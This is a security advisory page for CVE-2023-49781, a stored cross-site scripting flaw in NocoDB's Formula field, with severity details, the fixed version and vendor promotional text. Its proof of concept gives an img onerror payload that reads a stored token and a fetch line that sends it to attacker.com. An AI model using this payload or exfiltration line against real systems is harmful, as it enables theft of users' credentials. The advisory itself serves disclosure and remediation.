Summary
A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.
Details
The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.
PoC
Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T}
Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX)
Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims
Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage
The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2')) to replace the alert and then steal the victims' credentials in their attacker.com website.
Impact
Stealing the credentials of NocoDB user that clicks the malicious link.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2023-49781 has a CVSS score of 7.3 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.202.9); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2023-49781? CVE-2023-49781 is a high-severity cross-site scripting (XSS) vulnerability in nocodb (npm), affecting versions <= 0.202.8. It is fixed in 0.202.9. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2023-49781? CVE-2023-49781 has a CVSS score of 7.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of nocodb are affected by CVE-2023-49781? nocodb (npm) versions <= 0.202.8 is affected.
- Is there a fix for CVE-2023-49781? Yes. CVE-2023-49781 is fixed in 0.202.9. Upgrade to this version or later.
- Is CVE-2023-49781 exploitable, and should I be worried? Whether CVE-2023-49781 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-49781 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-49781? Upgrade
nocodbto 0.202.9 or later.